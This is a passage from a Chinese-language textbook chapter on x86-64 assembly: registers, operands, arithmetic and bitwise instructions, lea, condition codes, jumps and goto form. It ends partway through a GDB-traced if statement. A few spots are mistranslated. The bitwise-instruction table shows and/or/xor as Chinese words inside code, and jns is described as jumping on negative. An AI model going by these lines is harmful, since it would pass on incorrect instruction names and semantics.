**表 7-1:** x86-64 寄存器及访问低字节的机制
| **64 位寄存器** | **32 位寄存器** | **低 16 位** | **低 8 位** |
| --- | --- | --- | --- |
| `%rax` | `%eax` | `%ax` | `%al` |
| `%rbx` | `%ebx` | `%bx` | `%bl` |
| `%rcx` | `%ecx` | `%cx` | `%cl` |
| `%rdx` | `%edx` | `%dx` | `%dl` |
| `%rdi` | `%edi` | `%di` | `%dil` |
| `%rsi` | `%esi` | `%si` | `%sil` |
| `%rsp` | `%esp` | `%sp` | `%spl` |
| `%rbp` | `%ebp` | `%bp` | `%bpl` |
| `%r8` | `%r8d` | `%r8w` | `%r8b` |
| `%r9` | `%r9d` | `%r9w` | `%r9b` |
| `%r10` | `%r10d` | `%r10w` | `%r10b` |
| `%r11` | `%r11d` | `%r11w` | `%r11b` |
| `%r12` | `%r12d` | `%r12w` | `%r12b` |
| `%r13` | `%r13d` | `%r13w` | `%r13b` |
| `%r14` | `%r14d` | `%r14w` | `%r14b` |
| `%r15` | `%r15d` | `%r15w` | `%r15b` |
前八个寄存器(`%rax`、`%rbx`、`%rcx`、`%rdx`、`%rdi`、`%rsi`、`%rsp` 和 `%rbp`)是 x86 架构的 64 位扩展,具有访问它们的低 32 位、低 16 位和最低有效字节的公共机制。要访问这前八个寄存器的低 32 位,只需将寄存器名称中的 `r` 替换为 `e`。因此,寄存器 `%rax` 对应的低 32 位寄存器是 `%eax`。要访问这些寄存器的低 16 位,只需引用寄存器名称的最后两个字母。因此,访问寄存器 `%rax` 的低两个字节的机制是 `%ax`。

*图 7-1:表示寄存器 `%rax` 子集的名称*
ISA 提供了一个独立的机制,用于访问前四个列出的寄存器中低 16 位内的八位组件。图 7-1 展示了访问寄存器 `%rax` 的机制。在前四个列出的寄存器的低 16 位中,可以通过将寄存器名称的最后两个字母替换为 `h`(表示 *高* 字节)或 `l`(表示 *低* 字节)来访问高字节和低字节,具体取决于需要访问的字节。例如,`%al` 代表寄存器 `%ax` 的低 8 位,而 `%ah` 代表寄存器 `%ax` 的高 8 位。这些八位寄存器通常用于存储单字节值,用于某些操作,如位移(32 位寄存器不能被移位超过 32 位,数字 32 只需要一个字节的存储)。
**警告 WARNING:编译器可能根据类型选择组件寄存器**
阅读汇编代码时,要记住编译器通常在处理 64 位值(例如指针或`long`类型)时使用 64 位寄存器,在处理 32 位类型(例如`int`)时使用 32 位寄存器。在 x86-64 中,常常会看到 32 位寄存器与完整的 64 位寄存器混合使用。例如,在前面展示的`adder2`函数中,编译器引用了 32 位寄存器`%eax`而不是`%rax`,因为`int`类型通常在 64 位系统中占用 32 位(四字节)空间。如果`adder2`函数的参数是`long`类型而不是`int`,编译器会将`a`存储在寄存器`%rax`中,而不是寄存器`%eax`。
最后的八个寄存器(`%r8`–`%r15`)不是 IA32 指令集的一部分。然而,它们也有访问其不同字节组件的机制。要访问最后八个寄存器的低 32 位、16 位或字节,只需在寄存器名后添加字母`d`、`w`或`b`。因此,`%r9d`访问寄存器`%r9`的低 32 位,而`%r9w`访问低 16 位,`%r9b`访问寄存器`%r9`的最低字节。
#### 7.1.3 指令结构
每条指令由操作码(或*操作符*)组成,用于指定它的功能,以及一个或多个*操作数*,用于指示指令如何执行。例如,指令`add $0x2,%eax`的操作码是`add`,操作数是`$0x2`和`%eax`。
每个操作数对应于特定操作的源或目标位置。两操作数指令通常遵循源、目标(`S`、`D`)格式,其中第一个操作数指定源寄存器,第二个操作数指定目标寄存器。
操作数有多种类型:
+ *常量*(*字面值*)值前面带有`$`符号。例如,在指令`add $0x2,%eax`中,`$0x2`是一个字面值,对应于十六进制值 0x2。
+ *寄存器*形式指的是单独的寄存器。因此,指令`mov %rsp,%rbp`表示将源寄存器(`%rsp`)中的值复制到目标位置(寄存器`%rbp`)。
+ *内存*形式对应于主内存(RAM)中的某个值,并常用于地址查找。内存地址形式可以包含寄存器和常量值的组合。例如,在指令`mov -0x4(%rbp),%eax`中,操作数`-0x4(%rbp)`就是内存形式的一个示例。它大致翻译为“将-0x4 加到寄存器`%rbp`中的值上(即从`%rbp`中减去 0x4),然后进行内存查找。”如果这听起来像是指针解引用,那就是因为它确实是!
#### 7.1.4 带操作数的示例
解释操作数的最佳方式是通过一个简短的示例。假设内存中包含以下值:
| **地址** | **值** |
| --- | --- |
| 0x804 | 0xCA |
| 0x808 | 0xFD |
| 0x80c | 0x12 |
| 0x810 | 0x1E |
假设以下寄存器包含所示的值:
| **寄存器** | **值** |
| --- | --- |
| `%rax` | 0x804 |
| `%rbx` | 0x10 |
| `%rcx` | 0x4 |
| `%rdx` | 0x1 |
然后表 7-2 中的操作数会计算出其中显示的值。表格的每一行将操作数与其形式(例如常量、寄存器、内存)、翻译方式以及值进行匹配。请注意,在这个上下文中,M[x]表示由地址 x 指定的内存位置中的值。
**表 7-2:** 示例操作数
| **操作数** | **形式** | **翻译** | **值** |
| --- | --- | --- | --- |
| `%rcx` | 寄存器 | `%rcx` | 0x4 |
| `(%rax)` | 内存 | M[`%rax`] 或 M[0x804] | 0xCA |
| `$0x808` | 常量 | 0x808 | 0x808 |
| `0x808` | 内存 | M[0x808] | 0xFD |
| `0x8(%rax)` | 内存 | M[`%rax` + 8] 或 M[0x80c] | 0x12 |
| `(%rax, %rcx)` | 内存 | M[`%rax` + `%rcx`] 或 M[0x808] | 0xFD |
| `0x4(%rax, %rcx)` | 内存 | M[`%rax` + `%rcx` + 4] 或 M[0x80c] | 0x12 |
| `0x800(,%rdx,4)` | 内存 | M[0x800 + `%rdx`×4] 或 M[0x804] | 0xCA |
| `(%rax, %rdx, 8)` | 内存 | M[`%rax` + `%rdx`×8] 或 M[0x80c] | 0x12 |
在表 7-2 中,符号 `%rcx` 表示寄存器 `%rcx` 中存储的值。相比之下,M[`%rax`] 表示 `%rax` 中的值应该被视为地址,并通过该地址解引用(查找)值。因此,操作数 `(%rax)` 对应于 M[0x804],其值为 0xCA。
在继续之前,有几个重要的注意事项。虽然表 7-2 显示了许多有效的操作数形式,但并不是所有形式都可以在所有情况下互换使用。具体来说:
+ 常量形式不能作为目标操作数。
+ 内存形式不能作为*源*和*目标*操作数同时出现在单条指令中。
+ 在缩放操作的情况下(请回顾表 7-2 中的最后两个操作数),缩放因子是括号中的第三个参数。缩放因子可以是 1、2、4 或 8 之一。
表 7-2 作为参考提供,但理解关键操作数形式有助于提高读者解析汇编语言的速度。
#### 7.1.5 指令后缀
在接下来的几个例子中,常见的和算术指令都有一个后缀,表示在代码级别操作的数据的*大小*(与*类型*相关)。编译器会自动将代码翻译成带有适当后缀的指令。表 7-3 展示了 x86-64 指令的常见后缀。
**表 7-3:** 示例指令后缀
| **后缀** | **C 类型** | **大小(字节)** |
| --- | --- | --- |
| b | `char` | 1 |
| w | `short` | 2 |
| l | `int` 或 `unsigned` | 4 |
| s | `float` | 4 |
| q | `long`,`unsigned long`,所有指针 | 8 |
| d | `double` | 8 |
请注意,与条件执行相关的指令具有基于评估条件的不同后缀。我们在“条件控制与循环”章节中讨论与条件执行相关的指令,详见第 310 页。
### 7.2 常见指令
在本节中,我们讨论几种常见的汇编指令。表 7-4 列出了 x86(因此也适用于 x64)汇编中的最基础指令。
**表 7-4:** 最常用的指令
| **指令** | **翻译** | |
| --- | --- | --- |
| `mov S,D` | S → D | (将 S 的值复制到 D 中) |
| `add S,D` | S + D → D | (将 S 加到 D,并将结果存储在 D 中) |
| `sub S,D` | D – S → D | (从 D 中减去 S,并将结果存储在 D 中) |
因此,指令序列
mov -0x4(%rbp),%eax
add $0x2,%eax
翻译为:
+ 将 *内存* 中位置 `%rbp` + –0x4 处的值(或 M[`%rbp`– 0x4])复制到寄存器 `%eax`。
+ 将值 0x2 加到寄存器 `%eax` 中,并将结果存储在寄存器 `%eax` 中。
表 7-4 中显示的三条指令也构成了维持程序堆栈组织的指令(即 *调用堆栈*)的基石。回顾一下 `%rbp` 和 `%rsp` 寄存器分别指向 *帧* 指针和 *栈* 指针,并且被编译器保留用于调用堆栈管理。回忆我们之前在《程序内存的组成与作用》一节中关于程序内存的讨论(见第 64 页),调用堆栈通常存储局部变量和参数,并帮助程序追踪其执行(见图 7-2)。在 x86-64 系统上,执行堆栈是向 *较低* 地址增长的。像所有堆栈数据结构一样,操作发生在堆栈的“顶部”。

*图 7-2:程序地址空间的组成部分*
x86-64 ISA 提供了两条指令(表 7-5)来简化调用堆栈管理。
**表 7-5:** 堆栈管理指令
| **指令** | **翻译** |
| --- | --- |
| `push S` | 将 S 的副本推送到堆栈的顶部。等价于:`sub $0x8,%rsp``mov S,(%rsp)` |
| `pop D` | 从堆栈顶端弹出元素,并将其放入位置 D。等价于:`mov (%rsp),D``add $0x8,%rsp` |
请注意,虽然表 7-4 中的三条指令需要两个操作数,表 7-5 中的 `push` 和 `pop` 指令每条只需要一个操作数。
#### 7.2.1 将一切结合起来:一个更具体的例子
让我们仔细看看 `adder2` 函数
//adds two to an integer and returns the result
int adder2(int a) {
return a + 2;
}
及其对应的汇编代码:
0000000000400526
400526: 55 push %rbp
400527: 48 89 e5 mov %rsp,%rbp
40052a: 89 7d fc mov %edi,-0x4(%rbp)
40052d: 8b 45 fc mov -0x4(%rbp),%eax
400530: 83 c0 02 add $0x2,%eax
400533: 5d pop %rbp
400534: c3 retq
汇编代码由一条`push`指令、三条`mov`指令、一条`add`指令、一条`pop`指令和最后一条`retq`指令组成。为了理解 CPU 如何执行这一组指令,我们需要重新回顾程序内存的结构(参见第 64 页的“程序内存的部分和作用域”)。回想一下,每当程序执行时,操作系统会分配新的程序地址空间(也称为*虚拟内存*)。虚拟内存和相关的进程概念将在第十三章中详细讨论;现在,只需将进程视为正在运行的程序的抽象,而虚拟内存则是分配给单个进程的内存。每个进程都有自己的内存区域,称为*调用栈*。请记住,调用栈位于进程/虚拟内存中,不同于位于 CPU 上的寄存器。
图 7-3 描绘了`adder2`函数执行前,调用栈和寄存器的一个示例状态。

*图 7-3:执行栈(执行前状态)*
请注意,栈是朝向*较低*地址增长的。寄存器`%eax`包含一个垃圾值。`adder2`函数的唯一参数(`a`)按约定存储在寄存器`%rdi`中。由于`a`是`int`类型,它被存储在组件寄存器`%edi`中,如图 7-3 所示。同样,由于`adder2`函数返回一个`int`类型的值,返回值存储在组件寄存器`%eax`中,而不是`%rax`。
为了提高图示的可读性,程序内存中代码段的指令地址(0x400526–0x400534)已被简化为 0x526–0x534。同样,程序内存中调用栈段的地址也已从 0x7fffffffdd28–0x7fffffffdd1c 简化为 0xd28–0xd1c。实际上,调用栈的地址在程序内存中的位置远高于代码段地址。
请特别注意寄存器`%rsp`和`%rbp`的初始值:它们分别是 0xd28 和 0xd40。下图中的左上箭头直观地指示了当前正在执行的指令。`%rip`寄存器(或指令指针)显示了下一条要执行的指令。最初,`%rip`包含地址 0x526,该地址对应于`adder2`函数中的第一条指令。

第一条指令(`push %rbp`)将寄存器`%rbp`(或 0xd40)中的值复制到栈顶。执行后,`%rip`寄存器会指向下一条指令的地址(0x527)。`push`指令将栈指针减少 8(“增长”栈 8 个字节),导致新的`%rsp`值为 0xd20。回想一下,`push %rbp`指令等价于:
sub $8, %rsp
mov %rbp, (%rsp)
换句话说,将栈指针减去 8,并将寄存器`%rbp`的内容复制到栈指针解引用的位置`(%rsp)`中。

回想一下,`mov`指令的结构是`mov S,D`,其中 S 是源位置,D 是目标位置。因此,下一条指令(`mov %rsp,%rbp`)将更新`%rbp`的值为 0xd20。寄存器`%rip`推进到下一个要执行的指令地址,即 0x52a。

接下来,执行`mov %edi,-0x4(%rbp)`指令。这比上一条`mov`指令稍微复杂一些。我们逐步解析。首先,回想一下,任何函数的第一个参数都存储在寄存器`%rdi`中。由于`a`是`int`类型,编译器将第一个参数存储在分量寄存器`%edi`中。接下来,操作数`-0x4(%rbp)`表示`M[%rbp - 0x4]`。由于`%rbp`的值为 0xd20,减去 4 得到 0xd1c。因此,`mov`指令将寄存器`%edi`的值(即 0x28)复制到栈上 0xd1c 的位置。指令指针推进到下一个要执行的地址 0x52d。
请注意,存储值 0x28 不会影响栈指针(`%rsp`)。因此,就程序而言,这个栈的“顶部”仍然是地址 0xd20。

下一条`mov`指令(`mov -0x4(%rbp),%eax`)将栈位置 0xd1c 的值(即 M[`%rbp` – 0x4]或 0x28)复制并存储到寄存器`%eax`中。寄存器`%rip`推进到下一条要执行的指令地址,即 0x530。

接下来,执行`add $0x2,%eax`。回想一下,`add`指令的形式是`add S,D`,将 S + D 的结果存储在目标 D 中。因此,`add $0x2,%eax`将常量值 0x2 加到寄存器`%eax`中存储的值(即 0x28),结果是寄存器`%eax`中存储值 0x2A。寄存器`%rip`推进到下一个要执行的指令地址,即 0x533。

下一条执行的指令是`pop %rbp`。该指令将调用栈顶部的值“弹出”,并将其放入目标寄存器`%rbp`中。回想一下,这条指令等价于以下两条指令的组合:
mov (%rsp), %rbp
add $8, %rsp
回想一下,栈顶是 0xd20,因为这是`%rsp`中存储的值。因此,一旦执行该指令,`(%rsp)`(即 M[0xd20])的值将被复制到寄存器`%rbp`中。因此,`%rbp`现在包含值 0xd40。栈指针按 8 递增,因为栈是向低地址方向增长(因此,*向高地址方向收缩*)。`%rsp`的新值为 0xd28,`%rip`现在指向最后一条要执行的指令地址(即 0x534)。
最后执行的指令是`retq`。我们将在后续章节讨论函数调用时更详细地讲解`retq`的作用,但现在了解它是为返回函数时准备调用栈就足够了。按照惯例,寄存器`%rax`始终包含返回值(如果存在)。在本例中,由于`adder2`是`int`类型,返回值存储在寄存器`%eax`中,函数返回值为 0x2A,即 42。
在我们继续之前,注意寄存器`%rsp`和`%rbp`中的最终值分别是 0xd28 和 0xd40,这与函数开始执行时的值*相同*!这在调用栈中是正常且预期的行为。调用栈的作用是存储每个函数在程序执行过程中所使用的临时变量和数据。当函数执行完毕时,栈会恢复到函数调用前的状态。因此,在函数开始时,通常会看到以下两条指令:
push %rbp
mov %rsp, %rbp
以及在函数结尾的以下两条指令:
pop %rbp
retq
### 7.3 算术指令
x86 架构实现了几个与 ALU 执行的算术操作对应的指令。表 7-6 列出了在阅读汇编代码时可能遇到的几种算术指令。
**表 7-6:** 常见算术指令
| **指令** | **翻译** |
| --- | --- |
| `add S,D` | S + D → D |
| `sub S,D` | D – S → D |
| `inc D` | D + 1 → D |
| `dec D` | D – 1 → D |
| `neg D` | –D → D |
| `imul S,D` | S × D → D |
| `idiv S` | `%rax` / S: 商 → `%rax`,余数 → `%rdx` |
`add`和`sub`指令对应加法和减法,每个指令需要两个操作数。接下来的三行显示了 C 语言中单寄存器的增量(`x++`)、减量(`x--`)和取反(`-x`)操作。乘法指令操作两个操作数,并将结果存入目的地。如果乘积需要超过 64 位来表示,则该值会被截断为 64 位。
除法指令的工作方式稍有不同。在执行`idiv`指令之前,假设寄存器`%rax`包含被除数。对操作数 S 调用`idiv`时,将`%rax`中的内容除以 S,并将商存入寄存器`%rax`,余数存入寄存器`%rdx`。
#### 7.3.1 位移指令
位移指令使编译器能够执行位移操作。乘法和除法指令通常需要较长的执行时间。位移提供了编译器对 2 的幂次乘数和除数的捷径。例如,要计算`77 * 4`,大多数编译器会将此操作转换为`77 << 2`,以避免使用`imul`指令。同样,要计算`77 / 4`,编译器通常会将此操作转换为`77 >> 2`,以避免使用`idiv`指令。
请记住,左移和右移操作根据目标是算术(有符号)移位还是逻辑(无符号)移位,所对应的指令不同。
**表 7-7:** 移位指令
| **指令** | **翻译** | **算术或逻辑?** |
| --- | --- | --- |
| `sal v,D` | D `≪` v → D | 算术 |
| `shl v,D` | D `≪` v → D | 逻辑 |
| `sar v,D` | D `≫` v → D | 算术 |
| `shr v,D` | D `≫` v → D | 逻辑 |
每条移位指令都有两个操作数,一个通常是寄存器(记作 D),另一个是移位值(*v*)。在 64 位系统中,移位值被编码为一个字节(因为移位超过 63 是没有意义的)。移位值 *v* 必须是常量或存储在寄存器 `%cl` 中。
**注意:不同版本的指令有助于在汇编层面区分类型**
在汇编层面,没有类型的概念。然而,回忆一下编译器会根据类型使用不同的寄存器。同样,记住右移操作根据值是有符号还是无符号,工作方式也不同。在汇编层面,编译器使用不同的指令来区分逻辑移位和算术移位!
#### 7.3.2 按位指令
按位指令使编译器能够对数据执行按位操作。编译器使用按位操作的一种方式是进行某些优化。例如,编译器可能会选择使用 `77 & 3` 来代替开销更大的 `idiv` 指令来实现 `77 mod 4`。
表 7-8 列出了常见的按位操作指令。
**表 7-8:** 按位操作
| **指令** | **翻译** |
| --- | --- |
| `与 S,D` | S `&` D → D |
| `或 S,D` | S `|` D → D |
| `异或 S,D` | S `^` D → D |
| `not D` | `~`D → D |
记住,按位 `not` 操作与取反操作(`neg`)不同。`not` 指令翻转比特位,但不加 1。小心不要混淆这两条指令。
**警告:只有在需要时才在 C 代码中使用按位操作!**
阅读完本节内容后,可能会有冲动想用按位移位和其他操作替代 C 代码中的常见算术操作。但*不推荐*这样做。大多数现代编译器足够智能,在合适的时候将简单的算术操作替换为按位操作,这样程序员就无需手动做出这些优化。一般来说,程序员应优先考虑代码可读性,避免过早优化。
#### 7.3.3 加载有效地址指令
*lea 和这有什么关系?*
*lea 不就是一个有效地址加载吗?*
—向蒂娜·特纳致歉
我们终于来到了 *加载有效地址* 或 `lea` 指令,它可能是学生最困惑的算术指令。它通常用作快速计算内存中位置地址的一种方式。`lea` 指令在我们迄今为止看到的相同操作数结构上操作,但 *不* 包含内存查找。无论操作数中包含的数据类型(无论是常数值还是地址),`lea` 仅执行算术运算。
例如,假设寄存器 `%rax` 存储常数值 0x5,寄存器 `%rdx` 存储常数值 0x4,寄存器 `%rcx` 存储值 0x808(这恰好是一个地址)。表 7-9 展示了一些 `lea` 操作示例、它们的翻译和相应的值。
**表 7-9:** 示例 lea 操作
| **指令** | **翻译** | **值** |
| --- | --- | --- |
| `lea 8(%rax), %rax` | 8 + `%rax` → `%rax` | 13 → `%rax` |
| `lea (%rax, %rdx), %rax` | `%rax` + `%rdx` → `%rax` | 9 → `%rax` |
| `lea (,%rax,4), %rax` | `%rax` × 4 → `%rax` | 20 → `%rax` |
| `lea -0x8(%rcx), %rax` | `%rcx` – 8 → `%rax` | 0x800 → `%rax` |
| `lea -0x4(%rcx, %rdx, 2), %rax` | `%rcx` + `%rdx` × 2 – 4 → `%rax` | 0x80c → `%rax` |
在所有情况下,`lea` 指令对源操作数 S 所指定的操作数执行算术运算,并将结果放入目标操作数 D 中。`mov` 指令与 `lea` 指令相同,*唯一的区别*是 `mov` 指令在源操作数是内存形式时,*必须*将其内容视为内存地址。而 `lea` 则执行相同(有时是复杂的)操作数算术运算,*不进行*内存查找,使得编译器可以巧妙地使用 `lea` 来替代某些类型的算术操作。
### 7.4 条件控制与循环
本节介绍了 x86 汇编指令中的条件语句和循环(请参见第 30 页中的“条件语句和循环”)。回顾一下,条件语句使得程序员可以根据条件表达式的结果修改程序的执行流程。编译器将条件语句转换成汇编指令,这些指令通过修改指令指针(`%rip`)来跳转到程序序列中不是下一个地址的地方。
#### 7.4.1 前提
##### 条件比较指令
比较指令执行算术运算,以指导程序的条件执行。表 7-10 列出了与条件控制相关的基本指令。
**表 7-10:** 条件控制指令
| **指令** | **翻译** |
| --- | --- |
| `cmp R1, R2` | 比较 R1 和 R2(即计算 R2 – R1) |
| `test R1, R2` | 计算 R1 `&` R2 |
`cmp` 指令比较两个寄存器 R2 和 R1 的值。具体来说,它计算 R2 减去 R1 的结果。`test` 指令执行按位与运算。常见的指令可能是:
test %rax, %rax
在本例中,`%rax` 与自身的按位与操作仅当 `%rax` 包含零时结果为零。换句话说,这是对零值的测试,等效于:
cmp $0, %rax
不像迄今为止所涵盖的算术指令,`cmp` 和 `test` 不修改目标寄存器。相反,这两条指令修改一系列称为*条件码标志位*的单比特值。例如,`cmp` 将根据 R2 – R1 的值是正数(大于)、负数(小于)还是零(等于)来修改条件码标志位。请回忆条件码值编码了 ALU(见第 261 页上的“ALU”)。条件码标志位是 x86 系统中 `FLAGS` 寄存器的一部分。
**表 7-11:** 常见条件码标志位
| **标志位** | **翻译** |
| --- | --- |
| `ZF` | 等于零(1:是;0:否) |
| `SF` | 是否为负数(1:是;0:否) |
| `OF` | 溢出发生了(1:是;0:否) |
| `CF` | 算术进位发生了(1:是;0:否) |
表 7-11 描述了用于条件码操作的常见标志位。重新审视 `cmp R1, R2` 指令:
+ 当 R1 和 R2 相等时,`ZF` 标志位被设置为 1。
+ 如果 R2 小于 R1(R2 – R1 导致负值),则 `SF` 标志位被设置为 1。
+ 如果操作 R2 – R1 导致整数溢出,则 `OF` 标志位被设置为 1(适用于有符号比较)。
+ 如果操作 R2 – R1 导致进位操作,则 `CF` 标志位被设置为 1(适用于无符号比较)。
`SF` 和 `OF` 标志位用于有符号整数比较操作,而 `CF` 标志位用于无符号整数比较。虽然对条件码标志位的深入讨论超出了本书的范围,但 `cmp` 和 `test` 设置这些寄存器使得我们接下来介绍的一组指令(*跳转*指令)能够正确运行。
##### 跳转指令
跳转指令使得程序可以“跳转”到代码中的新位置执行。在迄今为止跟踪的汇编程序中,`%rip` 总是指向程序存储器中的下一条指令。跳转指令使得 `%rip` 可以设置为一个尚未见过的新指令(如 `if` 语句中的情况)或者已经执行过的指令(如循环中的情况)。
**表 7-12:** 直接跳转指令
| **指令** | **描述** |
| --- | --- |
| `jmp L` | 跳转到由 L 指定的位置 |
| `jmp *addr` | 跳转到指定地址 |
**直接跳转指令。** 表 7-12 列出了直接跳转指令集;`L` 指的是一个*符号标签*,它在程序的目标文件中充当标识符。所有标签由一些字母和数字组成,后跟一个冒号。标签可以是程序文件范围内的*本地*或*全局*标签。函数标签通常是*全局*的,并且通常由函数名称和冒号组成。例如,`main:`(或 `<main>:`)用于标记用户定义的 `main` 函数。相比之下,作用域为*本地*的标签前面带有一个点。例如,`.L1:` 是在 `if` 语句或循环上下文中可能遇到的本地标签。
所有标签都有关联的地址。当 CPU 执行 `jmp` 指令时,会修改 `%rip` 以反映由标签 `L` 指定的程序地址。汇编程序员还可以使用 `jmp *` 指令指定要跳转到的特定地址。有时,本地标签显示为相对于函数开头的偏移量。因此,距离 `main` 开始处 28 字节的指令可能被表示为标签 `<main+28>`。
例如,指令 `jmp 0x8048427 <main+28>` 表示跳转到地址 0x8048427,其关联标签为 `<main+28>`,表示距离 `main` 函数起始地址 28 字节处。执行此指令会将 `%rip` 设置为 0x8048427。
**条件跳转指令。** 条件跳转指令的行为取决于由 `cmp` 指令设置的条件码寄存器。表 7-13 列出了常见条件跳转指令集。每条指令以字母 `j` 开头,表示它是一条跳转指令。每条指令的后缀指示跳转的条件。跳转指令的后缀还确定了是将数值比较解释为有符号还是无符号。
**表 7-13:** 条件跳转指令;同义词显示在括号中
| **有符号比较** | **无符号比较** | **描述** |
| --- | --- | --- |
| `je` (`jz`) | | 等于时跳转(==)或零时跳转 |
| `jne` (`jnz`) | | 不等于时跳转(!=) |
| `js` | | 负数时跳转 |
| `jns` | | 负数时跳转 |
| `jg` (`jnle`) | `ja` (`jnbe`) | 大于时跳转(>) |
| `jge` (`jnl`) | `jae` (`jnb`) | 大于等于时跳转(>=) |
| `jl` (`jnge`) | `jb` (`jnae`) | 小于时跳转(<) |
| `jle` (`jng`) | `jbe` (`jna`) | 小于等于时跳转(<=) |
不要记忆这些不同的条件跳转指令,通过读出指令后缀更有帮助。表 7-14 列出了常见跳转指令中常见的字母及其对应的单词。
**表 7-14:** 跳转指令后缀
| **字母** | **单词** |
| --- | --- |
| `j` | 跳转 |
| `n` | 不 |
| `e` | 等于 |
| `s` | 有符号 |
| `g` | 大于(有符号解释) |
| `l` | 小于(有符号解释) |
| `a` | 大于(无符号解释) |
| `b` | 下面(无符号解释) |
如果读出这些指令,我们可以看到 `jg` 对应于 *跳转大于*,而它的带符号同义词 `jnl` 则代表 *跳转不小于*。同样,无符号版本 `ja` 代表 *跳转大于*,而它的同义词 `jnbe` 代表 *跳转不小于或等于*。
如果你将这些指令读出来,会有助于理解为什么某些同义词对应特定的指令。另一点需要记住的是,*greater* 和 *less* 会指示 CPU 将数字比较解释为带符号值,而 *above* 和 *below* 则表明数字比较是无符号的。
##### goto 语句
在以下的小节中,我们将讨论汇编中的条件语句和循环,并将它们反向工程回 C 语言。当将汇编代码中的条件语句和循环翻译回 C 语言时,理解对应的 C 语言`goto`形式是很有帮助的。`goto`语句是 C 语言中的一种原语,它强制程序执行跳转到代码中的另一行。与 `goto` 语句相关的汇编指令是 `jmp`。
`goto` 语句由 `goto` 关键字和一个*跳转标签*组成,跳转标签是一种程序标签,用于指示程序应该从哪里继续执行。因此,`goto done`表示程序执行应跳转到标签为 `done` 的行。C 语言中的其他程序标签例子包括在“switch 语句”中提到的 `switch` 语句标签,第 122 页也有介绍。
以下代码清单展示了一个函数 `getSmallest`,它首先用常规的 C 代码编写(第一部分),然后展示其相应的 C 语言 `goto` 形式(第二部分)。`getSmallest` 函数比较两个整数(`x` 和 `y`)的值,并将较小的值赋给变量 `smallest`。
常规 C 版本
int getSmallest(int x, int y) {
int smallest;
if ( x > y ) { //if (conditional)
smallest = y; //then statement
}
else {
smallest = x; //else statement
}
return smallest;
}
goto 版本
int getSmallest(int x, int y) {
int smallest;
if (x <= y ) { //if (!conditional)
goto else_statement;
}
smallest = y; //then statement
goto done;
else_statement:
smallest = x; //else statement
done:
return smallest;
}
这个函数的 `goto` 形式可能看起来有些反直觉,但让我们来讨论一下究竟发生了什么。条件语句检查变量 `x` 是否小于或等于 `y`。
+ 如果 `x` 小于或等于 `y`,程序将控制权转移到标记为 `else_statement` 的标签,该标签下包含单个语句 `smallest = x`。由于程序是线性执行的,因此程序会继续执行 `done` 标签下的代码,返回 `smallest` 的值(即 `x`)。
+ 如果 `x` 大于 `y`,则将 `smallest` 赋值为 `y`。然后程序执行 `goto done` 语句,这会将控制权转移到 `done` 标签,返回 `smallest` 的值(即 `y`)。
虽然 `goto` 语句在编程的早期被广泛使用,但在现代代码中使用 `goto` 语句被认为是一种不好的做法,因为它会降低代码的可读性。实际上,计算机科学家埃兹赫尔·代克斯特拉(Edsger Dijkstra)曾写过一篇著名的论文,猛烈批评了 `goto` 语句的使用,论文名为“Go To 语句被认为有害”。^(1)
一般来说,设计良好的 C 程序不会使用 `goto` 语句,并且程序员通常被建议避免使用它们,以避免编写难以阅读、调试和维护的代码。然而,理解 C 语言中的 `goto` 语句非常重要,因为 GCC 通常会在将 C 代码翻译成汇编之前,将包含条件语句和循环的代码转换为 `goto` 形式。
#### 7.4.2 汇编中的 `if` 语句
让我们来看一下汇编中的 `getSmallest` 函数。为了方便,这里重新列出该函数:
int getSmallest(int x, int y) {
int smallest;
if ( x > y ) {
smallest = y;
}
else {
smallest = x;
}
return smallest;
}
从 GDB 提取的相应汇编代码如下所示:
(gdb) disas getSmallest
Dump of assembler code for function getSmallest:
0x40059a <+4>: mov %edi,-0x14(%rbp)
0x40059d <+7>: mov %esi,-0x18(%rbp)
0x4005a0 <+10>: mov -0x14(%rbp),%eax
0x4005a3 <+13>: cmp -0x18(%rbp),%eax
0x4005a6 <+16>: jle 0x4005b0 <getSmallest+26>
0x4005a8 <+18>: mov -0x18(%rbp),%eax
0x4005ae <+24>: jmp 0x4005b9 <getSmallest+35>
0x4005b0 <+26>: mov -0x14(%rbp),%eax
0x4005b9 <+35>: pop %rbp
0x4005ba <+36>: retq
这是我们之前看到的汇编代码的另一种视角。在这里,我们可以看到与每条指令相关联的*地址*,但看不到*字节*。请注意,为了简化说明,这段汇编代码已经做了轻微编辑。通常作为函数创建一部分的指令(例如 `push %rbp`,`mov %rsp,%rbp`)已被移除。根据惯例,GCC 会将函数的第一个和第二个参数分别放入寄存器 `%rdi` 和 `%rsi` 中。由于 `getSmallest` 函数的参数类型为 `int`,编译器将这些参数放入相应的组件寄存器 `%edi` 和 `%esi` 中。为了便于说明,我们将这些参数分别称为 `x` 和 `y`。
让我们跟踪前面汇编代码片段的前几行。请注意,在这个例子中我们不会显式地绘制堆栈。我们将这作为一个练习留给读者,并鼓励你通过自己画出来来练习堆栈跟踪技巧。
+ 第一条 `mov` 指令将寄存器 `%edi`(第一个参数 `x`)中的值复制到调用栈中的内存位置 `%rbp-0x14`。指令指针(`%rip`)设置为下一个指令的地址,或者 0x40059d。
+ 第二条 `mov` 指令将寄存器 `%esi`(第二个参数 `y`)中的值复制到调用栈中的内存位置 `%rbp-0x18`。指令指针(`%rip`)更新,指向下一个指令的地址,或者 0x4005a0。
+ 第三条 `mov` 指令将 `x` 复制到寄存器 `%eax`。寄存器 `%rip` 更新,指向顺序中下一个指令的地址。
+ `cmp` 指令将位置 `%rbp-0x18`(第二个参数 `y`)的值与 `x` 进行比较,并设置相应的条件码标志寄存器。寄存器 `%rip` 会跳转到下一个指令的地址,或者 0x4005a6。
+ 地址 0x4005a6 处的 `jle` 指令表示,如果 `x` 小于或等于 `y`,则应该执行下一条指令,其地址位于 `<getSmallest+26>`,并且 `%rip` 应该设置为地址 0x4005b0。否则,`%rip` 设置为下一个顺序指令的地址,或者 0x4005a8。
接下来执行的指令取决于程序是否在地址 0x4005a6 跳转(即执行跳转)。我们首先假设没有跟随跳转。在这种情况下,`%rip` 被设置为 0x4005a8(即 `<getSmallest+18>`),接下来执行的指令序列如下:
+ `<getSmallest+18>` 处的 `mov -0x18(%rbp), %eax` 指令将 `y` 复制到寄存器 `%eax`。寄存器 `%rip` 移动到 0x4005ae。
+ `<getSmallest+24>` 处的 `jmp` 指令将寄存器 `%rip` 设置为地址 0x4005b9。
+ 最后要执行的指令是 `pop` `%rbp` 指令和 `retq` 指令,它们清理堆栈并从函数调用中返回。在这种情况下,`y` 存在于返回寄存器中。
现在,假设跳转发生在 `<getSmallest+16>`。换句话说,`jle` 指令将寄存器 `%rip` 设置为 0x4005b0(即 `<getSmallest+26>`)。接下来执行的指令是:
